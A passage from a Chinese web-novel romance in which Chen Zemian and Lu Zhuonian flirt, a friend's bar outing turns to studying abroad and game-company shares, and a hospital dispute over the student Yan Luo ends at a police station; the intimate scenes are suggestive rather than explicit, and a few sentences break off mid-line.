陆灼年叫了他的名字,哑声问:“陈则眠,那晚你欠我的猫耳朵和小铃铛,都不准备还了吗?” “还还还,”陈则眠把卫衣帽子往脑袋上一扣,抱臂窝在副驾驶座位里,嘟嘟囔囔地说:“回家回家。” 陆灼年唇角抿直,眼中划过微不可察的笑意,发动引擎将车开回了盛府华庭。 还债。 猫耳朵是粉颜色的。 高端用品店的小玩具制作精良,虽然是人造毛,摸起来手感极佳,形状也讲究,绒呼呼软绵绵,又大又柔软。 戴在头顶尺寸刚好。 比起色.情,更多的是可爱,像是二次元COS用的物料。 陈则眠对着镜子左右照了照,并不觉得这对耳朵能给陆灼年带来什么刺激。 别说他现在还穿着衣服,就是脱了衣服也就那样。 难道是因为没加铃铛? 他拿起小铃铛,顺手夹在了猫耳朵上。 画龙点睛的作用为0,不仅没什么诱惑感,看着甚至还有点多余。 等他走出去之后,陆灼年一看到他就笑了。 陈则眠不自在地扯了下猫耳朵,恼羞成怒:“笑啥。” 陆灼年说:“你过来。” 陈则眠就过去了。 陆灼年摘下猫耳朵上的黑色小铃铛:“你买的这都什么东西?” 陈则眠回答:“不知道啊,谁买这玩意还好意思挑,我就把推荐款都加入购物车了。” 陆灼年捻着那枚铃铛:“这应该不是夹在猫耳朵上的。” 陈则眠眼中划过一丝疑惑:“那夹哪儿?” 陆灼年微微倾身,在陈则眠耳边说了几个字。 陈则眠瞳孔骤然放大,像只受惊的猫,猛地往后跳开,一把薅下猫耳发箍砸在陆灼年身上:“什么玩意,我不玩了。” 陆灼年忍俊不禁,摘下另一只铃铛,抬手扔到一边:“过来吧,不跟你玩这个,我以为你说的是那种挂在小猫脖子上的铃铛,谁能想到你买的是这玩意。” 陈则眠低头瞅了眼陆灼年:“我看你也没什么反应,干嘛非得玩啊。” 陆灼年以拳抵唇,低笑出声:“行吧,不玩就不玩,晚上想出去吗,可颂约你去酒吧玩。” 陈则眠又一下蹿到陆灼年面前:“我能喝酒了?” 陆灼年沉吟道:“看你表现。” 陈则眠将猫耳朵戴回头上,信誓旦旦道:“我可以表现得很好。” 陆灼年把猫耳朵摘下来:“我说的不是这个表现,现在弄一次,你又懒得出门了。” 陈则眠一想也是,他取悦陆灼年是为了出门喝酒,可要是取悦完自己又犯困懒得动,岂不是再做无用功。 他问陆灼年:“那表现什么。” 陆灼年说:“可颂知道我决定留学的事了,他也递交了下学期的留学申请,今晚约你喝酒就是想把你灌醉,哄你陪他一起去。” 陈则眠恍然大悟:“哦,难怪他约我去酒吧。” 只能说他和萧可颂真是浑然天成的一对好兄弟,哄人的手段都完全相同。 陈则眠每次从萧可颂嘴里套话,也是约人去酒吧,把人灌醉了套。 陆灼年整了整陈则眠的衣领,交代道:“你清醒一点,不要胡乱答应他什么,记住了吗。” 陈则眠在沙发上坐下来,问:“你不去吗?” 陆灼年轻轻抹了下陈则眠的脸:“我爸说得没错,最近我的心态确实有问题,我会慢慢调整,就从先让你和可颂他们单独出门玩开始吧。” 陈则眠手指无意识地捻着毛茸猫耳:“你不要总是审视自己,你爸高瞻远瞩,想问题更长远,他可能是怕咱俩现在走得太近了,会影响你出国吧。” 陆灼年说:“他知道我有病,是怕你现在被我蒙骗了,将来有一天反应过来跑了,我会更不正常。” 陈则眠瞳孔轻颤,手足无措:“啊,他怎么知道咱俩、咱俩治病的事,你跟他说的?什么时候说的?” 陆灼年沉默数秒:“这用说吗,他长了眼睛。” 陈则眠回想自己在陆宅的表现:“是露了什么破绽吗?我觉得我表现得挺正常的,也没跟你有太多肢体接触啊。” 陆灼年无语道:“我爸还长了脑子,难道非要当着他面做什么他才能看出来吗?” 陈则眠心慌意乱,没太仔细听陆灼年说了什么,只听得了个一知半解,大惊失色道:“做也不能当着你爸的面做啊!” 陆灼年深吸一口气,推了下陈则眠的脑袋:“收拾收拾和萧可颂出去玩吧,别跟我说话了。” 果然不出陆灼年所料。 晚上到了酒吧,酒喝了两轮以后,萧可颂果然提起留学的事来。 为了说服陈则眠,他不惜把自己说得很惨。 萧可颂借着三分醉意,迷迷糊糊地拽着陈则眠不撒手:“你要不去美国要我怎么活啊,我会讲的美国话还没有上双语幼儿园的小学生多,我本来寻思那就请个翻译,但我爸说要让我勤工俭学,每年只给我二十万生活费。” 叶宸听了都觉得很惨:“等你去了,我再给你转点。” 萧可颂摇摇头:“钱倒是其次,主要到了那边没人陪我说话,我会憋死的。” 陈则眠说:“我会去看你的。” 萧可颂一看陈则眠还这么清醒,又给他倒了一杯酒:“陈则眠,我对你好不好?” 陈则眠端起酒杯:“好好好,萧少最好了,但是我这边游戏刚上线,一般手游的生命周期也就6到12个月,我是真走不开。” 萧可颂很难过地说:“那等你手游上线超过一年,我也都该回来了。” 陈则眠安慰道:“我保证会去看你,而且生活费的事你也不用担心,你之前给我的那些钱,我都折成股份投到《和平战场》里了,本来想等年底一次性给你个大的惊喜,但如果你在国外钱不够花,我就让会计按月给你打分红。” 听到这话,萧可颂和叶宸都微微一愣。 《和平战场》的火爆程度大家有目共睹,而把萧可颂给他的钱折成股份这件事,陈则眠没和任何人提过,更没签过什么协议,说白了就是这笔钱究竟投没投、投多少,都是陈则眠一个人说了算。 陈则眠既没有在决定时就讲出来博好感,也没有在游戏大火后改变决定,只是听说萧可颂去国外缺钱花,就顺口这么一提,好像只是在说一件再寻常不过的事情。 萧可颂记不清自己给过陈则眠多少钱,但他知道《和平战场》的股份在市面是什么价格。 “这太多了吧。” 萧可颂酒都醒了:“你做这个游戏的时候又不缺钱,干嘛还把我那份算进去。” 陈则眠很无所谓地说:“我还你钱你又不要,只能给你折成股份喽。” 叶宸在心中大致估算了一下,对萧可颂说:“你以后都不会缺钱花了。” 萧可颂呆了呆:“有、有这么多吗?” 陈则眠又和萧可颂碰了碰杯:“我刚来的时候身上一分钱都没有,手机也掉了,是你给了我两万块钱让我能活下去,做第一个游戏的钱也是从你这儿来的,萧少,你是我的贵人,这份情我永远都会记在心里。" 萧可颂大为感动:“陈则眠,我就知道我不会看错人,你有这份心比什么都强,分红的事就算了,游戏是你辛苦做出来的,我又没帮上什么忙,不能要你的钱。” 陈则眠笑了笑:“当初我也说要把钱还你,你当时怎么说的。” 萧可颂早就忘了:“我咋说的。” 陈则眠:“你说送出去的东西没有往回拿的,你不要就扔了,这句话今天我还给你,股份你不要就扔了,我不会往回拿。” 话说到这里,萧可颂不知该如何拒绝了,转头看向叶宸。 陈则眠也看叶宸。 两个人都等着叶宸劝对方。 叶宸不掺和这闲事,看了眼手机,对陈则眠说:“灼年来接你了。” “那我先走了,”陈则眠摇摇晃晃地站起身,先是定定神醒酒,然后拍了拍萧可颂肩膀:“别跟我推了,穷家富路,你出国得多带点钱,我有钱花。” 萧可颂送他往酒吧外面走,看到门口停着的风神后,突然揽着陈则眠肩膀,小声嘀咕:“股份你还给别人了吗?” 陈则眠回答:“有几家投资公司,怎么了。” “我是问别人!”萧可颂也是攀比起来了,问陈则眠:“你没给灼年、没给叶宸,就给我了对吧。” 陈则眠忍笑道:“对。” 萧可颂欢呼一声,整个人都挂在了陈则眠身上:“我就知道你跟我最好!” “他跟我最好。” 陆灼年突然出现在二人身后,扯开陈则眠身上的萧可颂,随手推进叶宸怀里:“走了,你俩自己叫代驾吧。” 叶宸半搂着骂骂咧咧的萧可颂,无语地看了陆灼年一眼。 陆灼年无视了叶宸的眼神,掐着陈则眠下巴左右看了看:“喝了多少?” 陈则眠眼神清澈明亮,看起来很清醒的样子:“小半杯。” 陆灼年略感满意,还没来得表扬他,就听见了无情地拆台声。 叶宸:“是小半瓶。” 陈则眠转过身,震惊地看着叶宸:“叶少?!” □显示所有文的作话[灌溉营养液] 萧可颂从骂陆灼年改为骂叶宸,说叶宸是叛徒,背叛了组织和群众。 叶宸直接把萧可颂拖走了。 陈则眠失去了唯一的盟军和队友,立刻陷入孤立无援的状态中。 他若无其事地仰头看天,感叹道:“今晚的星星可真亮啊。” “那是酒吧灯牌,”陆灼年打开车门,把陈则眠推进去:“都喝傻了,别看了,回家。” 陈则眠坐在副驾驶,心虚地捻着安全带,小声解释:“只是很小很小的半瓶,没你想的那么夸张。” 陆灼年笑了笑,没说话。 四十分钟后,别墅主卧。 陆灼年揉着陈则眠头顶的猫耳朵,捡起枕边的铃铛,低声道:“只是很小很小的铃铛,没你想的那么夸张。” 铃铛轻晃,震动出令人耳热的声响。 陈则眠握住陆灼年,求饶道:“错了,错了,我错了,别搞,铃铛真不行。” 陆灼年垂眸看了陈则眠两秒。 陈则眠酒意上头,洗完澡后,睡衣也没有扣好,领口露出大片肌肤,整个人脸颊,脖颈,前胸露成一片绯红,像一朵浸在酒里的玫瑰花,艳丽得让人移不开眼。 “还知道铃铛不行,"陆灼年移开视线,拇指无意识地摩挲红艳的唇:“看来还没醉昏头。” 陈则眠不仅没昏头,还接收到了陆灼年的暗示。 他抬头看了陆灼年一眼,很自觉地下去了。 陆灼年低笑几声,抬手捧起陈则眠的脸,说:“不用,我今天又没犯病。” 陈则眠主动将功折罪:“先把前两天欠的那次还你。” 陆灼年把陈则眠头顶的猫耳朵摘下来,轻轻拍了拍他的脸:“真不用,快睡觉去吧。” 陈则眠蹭了下陆灼年,很不好意思地说:“我睡不着。” 陆灼年又忍不住笑:“怎么戴个猫耳朵给自己戴成这样,被自己迷住了?” 陈则眠叽叽咕咕地抱怨:“刚才喝的那睡前养身汤里不知道放了啥,喝完就这样了,我现在特别热。” “明明是自己喝酒起兴,怎么还怪上汤了,“陆灼年闻着那汤药味很熟悉:“那汤我也喝过,是平心静气,养身安神的。” 陈则眠支吾着不知如何反驳。 这回可真是陆大少爷冤枉人了,他们俩喝的养身汤虽然主料相同,但辅料却天差地别。 陆灼年的汤是降火的,而陈则眠的汤却是补阳的。 陆自臻认定了陈则眠体虚,吩咐厨师要好好给他补补身,也不知是厨师听成了‘补肾’,还是看到了那么多补品觉得不放白不放,总之是在熬汤时另添了足量的鹿茸和海 喝得陈则眠是气旺血盛,满身精气止不住的往下身涌。 好药材的药性就是足,陈则眠在屋里蹭了半天找不到感觉,还以为是和陆灼年互助得太多,需求阈值也被拔高了,光靠自己解决不了问题。 他只犹豫了0.3秒,就戴上猫耳朵,主动找陆灼年寻求帮助了。 83、第83章 没想到,陆灼年居然拒绝了他的互助申请。 理由是他今晚没犯病,不需要陈则眠的帮助。 陈则眠手抵在陆灼年肩上:“适度运动有助于调节身心健康嘛。” 陆灼年眉梢挑起:“你们直男都这么调吗?” 陈则眠说:“也不是。” 陆灼年不犯病的时候冷静自持,毫不放纵,说不来就不来,直接推着人往外走:“自己玩去吧。” 陈则眠扒着门不想走:“那没劲啊。” 陆灼年没听懂:“什么意思。” 虽然整个别墅里只有他们两个人,但陈则眠还是压低了声音:“就是没感觉。” 陆灼年惊诧地看向陈则眠。 陈则眠不知道这是因为喝了药汤的原因,非常生气地埋怪气陆灼年来:“看什么看!还不是因为你,我性向都失调了。” 陆灼年还是第一次听说性向能失调:“那怎么办?” 陈则眠随遇而安,接受得倒是很快,不仅不排斥和陆灼年在他清醒的状态下互助,而且还有自己的小巧思:“宿醉酒醒后容易头疼,运动能加速酒精代谢,第二天就不会难受 “你经验还挺丰富,"陆灼年把陈则眠推下床:“回屋自己代去吧,我要睡觉了。” 陈则眠不走,也不说话,就眼巴巴地看着陆灼年。 陆灼年看了陈则眠不到两秒,就知道他想干什么了。 陈则眠喉结上下滑了滑,举起手里的猫耳发箍:“最好能戴上猫耳朵。” 陆灼年现在虽然还算平静,但一帮陈则眠,听到他叽叽咕咕动静,自己估计也很难把持,但他今晚真的不是很想,就故意提出陈则眠无法接受的条件。 陈则眠果然犹豫了。 就在陆灼年把人推出房门的前一秒,陈则眠忽然说:“行吧。” 陆灼年手微微一顿,还是把人推出了房间:“晚了。” 陈则眠见陆灼年态度坚决,皱了皱鼻子,只好回去睡觉了。 宿醉过后,第二天他醒得很早。 头又疼又沉,身体很累却睡不着了,在床上翻来覆去躺到七点半,收拾收拾起来下楼了。 厨师端上来一盅鲜炖的燕窝。 陈则眠以为是今日甜品,两三口就喝掉了。 吃早饭的时候,他有气无力,单手撑着额角,哀怨地看着陆灼年。 陆灼年视若无睹。 陈则眠愤恨地咬着豆沙包:“今天起得早,我上午去趟工作室,马上就五一了,得开会研究游戏推什么活动。” 陆灼年面不改色道:“以后你去干嘛不用跟我说。” 陈则眠继续说:“下午去证券交易所。” 陆灼年筷子顿了顿:“你要炒股?” 陈则眠慢条斯理地掰开豆沙包,先捡着带豆沙的地方吃,拖着长长的尾音:“不是不用跟你说去干嘛么。” 陆灼年不怒反笑,说:“陈则眠,你现在脸上就写了四个字。” 陈则眠:“啥?” 陆灼年瞥了眼正在收拾厨房的保洁人员,拿手机发了条消息过去。 陈则眠点开一看,屏幕上赫然是四个字— 欲求不满。 陈则眠眯了眯眼,把手里啃剩的豆沙包朝陆灼年砸了过去。 陆灼年略微偏头避开,说他:“浪费粮食。” 陈则眠说:“那我捡起来吃了。” 陆灼年对陈则眠的小心思简直了若指掌:“别装,本来没馅了你也不吃。” 陈则眠:"……" 陆灼年叫了厨师一声,吩咐道:"下次做豆沙包奶黄包,馅儿都包大点。" 陈则眠莫名其妙消了气,主动解释起去证券交易所的原因:“我是陪郑怀毓去,听说他最近表现挺好,他爸想把他叫回公司管事,提前给了他一笔钱让他投资试试水。”陆灼年应了声:“挺好。” 陈则眠叹气:“好什么,我对投资一窍不通,郑家明明就是干投资的,那么多顾问他不问,非要我陪他去,你知道为啥吗?” 陆灼年倒是很清楚郑怀毓的作风,推断道:“因为那些顾问都又老又丑吗?” 陈则眠竖起大拇指,对陆灼年的敏锐表示肯定:“是的,他说和丑人待在一起会影响运势。” 陆灼年笑了笑,没说话, 陈则眠临时向陆灼年取经:“你有什么看好的股票吗?” 陆灼年随口说了两个。 陈则眠赶紧记下了关键词,以为到时候跟工作人员直接说‘我要买XX''就可以,结果发现根本不是那么回事。 交易大厅人声鼎沸,A股数千支股票的盘口数据不断滚动。 巨幅电子屏上列满一行行猩红数字。 陈则眠根本没有找到陆灼年说的那两支股票。 郑怀毓受不了这过于嘈杂的环境,催促:“随便买两个赶紧走了。” 陈则眠不知道该买什么,手指在屏幕上划来划去。 郑怀毓:“这有什么可挑的,” 陈则眠说:“会赔钱啊。” 郑怀毓很无语:“我看过你们游戏工作室的财务报表,你现在也是资产过亿的人了,能不能大气一点。” 陈则眠早就没在思考了,看着墙上一支支股票眼睛发直,神游天外。 “你快点吧,“郑怀毓等得不耐烦,直接甩给他一张银行卡,嫌弃道:“这一干万给你练练手,赚了归你,赔了算我的。” 陈则眠:…" 郑怀毓一分钟都不想再待下去,把银行卡给了陈则眠就转身走了。 陈则眠只能随便买了两支。 离开交易所的时候,他都忘了买的两支股票叫什么。 无所谓了,手机APP上能查。 到时候再说吧。 从进证券交易所到离开,开户注册用了四十分钟,买股票只用了十分钟。 略显草率,陈则眠看时间尚早,就去.射击场看闫洛了。 还有不到两个月就高考了,已经进入最后的冲刺阶段,闫洛学习得很刻苦,陈则眠到的时候他还在改卷子,抄错题。 见到陈则眠来,闫洛眼睛一亮,站起来叫了声:"哥。" 十七八岁的少年变化最快,一段时间不见,乍一看像是变了个人,长高了,也瘦了。 “怎么瘦了?” 陈则眠上下端量闫洛,总觉得小孩脸色不好看:“黑眼圈都出来了,熬夜刷题了?” 闫洛摇摇头:“没,你怎么来了,今天不忙吗?” 陈则眠把手里的餐盒摆在桌子上:“我哪天都不忙。” 闫洛很慢地点了下头,顿了几秒才问他:“那你怎么都不来了。” 陈则眠说:“你快高考了,我又不会给你辅导功课,就会带着你玩,多耽误你学习。” 闫洛看着桌子上自己喜欢吃的饭菜,略微不安的心情好转了一些,低低地应了声:“哦。” 陈则眠转头看他:“哦什么哦,过来吃饭,一会儿凉了不好吃了。” 闫洛握着筷子,很小声地说:“不耽误学习。” 陈则眠看到闫洛一副被遗弃的可怜样,才猛地反应过来,自己总也不过来看他,小孩儿心里可能不舒服了,赶紧坐下哄了两句。 闫洛很轻易就被哄好了。 陈则眠保证以后会多来射击场看他,还约定等高考结束带闫洛出去玩。 闫洛现在争分夺秒,中午没去食堂,吃的是早上买的馅饼和没喝完的粥,他是长身体的年纪,学习压力又大,吃的那点东西早消化完了,陈则眠这顿饭送的正是时候。吃完饭,闫洛双手搭在铁架床栏杆上,絮絮和陈则眠聊天,说了没一会儿,小脑袋就一点一点地往下耷拉,明显是困了。 陈则眠说:“你睡会儿吧,我半个小时之后叫你。” 在做卷子与和陈则眠说话之间,闫洛最不想选的就是睡觉,但他真的是太困了,强撑着精神又说了没几句,就趴着睡着了。 陈则眠知道他睡觉警觉,也没动他,放轻脚步直接去了王经理的办公室。 王经理一看二当家来了,赶紧起身相迎。 陈则眠和他寒暄几句,然后说:“闫洛还有一个多月就高考了,射击场的事就别让他帮忙,要是没人擦枪,我以后多来几趟。” 王经理说:“没有没有,现在都不让他工作了,我还和食堂师傅打招呼了,说以后看见闫洛去,先给他把饭打了,孩子学习时间紧张,别让他排队浪费时间。” 陈则眠想了想,说:“我看他好像是早上去吃,中午都不大去……这样吧,以后他的中午饭我安排人给他送,他晚上去食堂吃吗?” 王经理面露难色:“这两天我还真不知道,晚上他都去医院。” 陈则眠立刻问:“他咋了?” 王经理:“他没事,是闫家老爷子,前一阵洗澡的时候摔了一跤,人可能不大好了。闫家那边来人说,老爷子想看一眼孙子,不然死都闭不上眼睛。” 陈则眠皱了下眉:“想看孙子早干嘛去了。” 王经理也对间家人很无语,实在说不出什么好听的话:“我说也是,合不合眼跟看孙子有关系吗?想想他们间家做的亏心事,闭上了都得睁开。” 陈则眠问:“闫洛今晚上还去吗?这都连着两晚上了,这一眼还没看完?” 王经理:“应该是去,老爷子在重症呢,现在是昏迷的时间长,清醒的时间少,为了让他能赶上老爷子醒,就只能一夜一夜地守着。” 陈则眠低声骂了句脏话:“有病吧。” 王经理义愤填膺道:“我看别人家怕影响孩子高考,那爹妈出事都瞒着不说,他们可好,一个前十七年都没看两面的爷爷昏迷,还好意思把人叫过去,那话听着我都想揍他,说什么‘知道你学习任务紧张,白天不用你来爷爷病床前尽孝了,你晚上来吧'',人家孩子不睡觉啊。” 陈则眠越听越来气,血压都高了。 问清楚是哪个医院后,他决定晚上过去看看。 有一个‘孝''字压着,闫洛没法直接拒绝,所以陈则眠打算由他代替闫洛出面,和闫家人好好谈谈,动之以情,晓之以理,争取心平气和地把问题解决。 * 深夜23:30,京市公安分局XX派出所。 陆灼年交完保释金,把陈则眠和闫洛从派出所领了出来。 陈则眠走在陆灼年身后。 陆灼年没说话,陈则眠也不说。 三个人就这么一路穿过灯火通明的警局大厅。 闫洛小声替陈则眠解释:"哥真的和他们讲道理了,是三婶说我偷她东西,我爸先动手打我,哥才还手的,只是我爸老了,骨头比较脆,这是意外,也不能怪谁。"陆灼年脚步微顿,回头看了陈则眠一眼。 陈则眠也看陆灼年。 相顾无言。 一丝若有若无的尴尬,在空气中逐渐蔓延。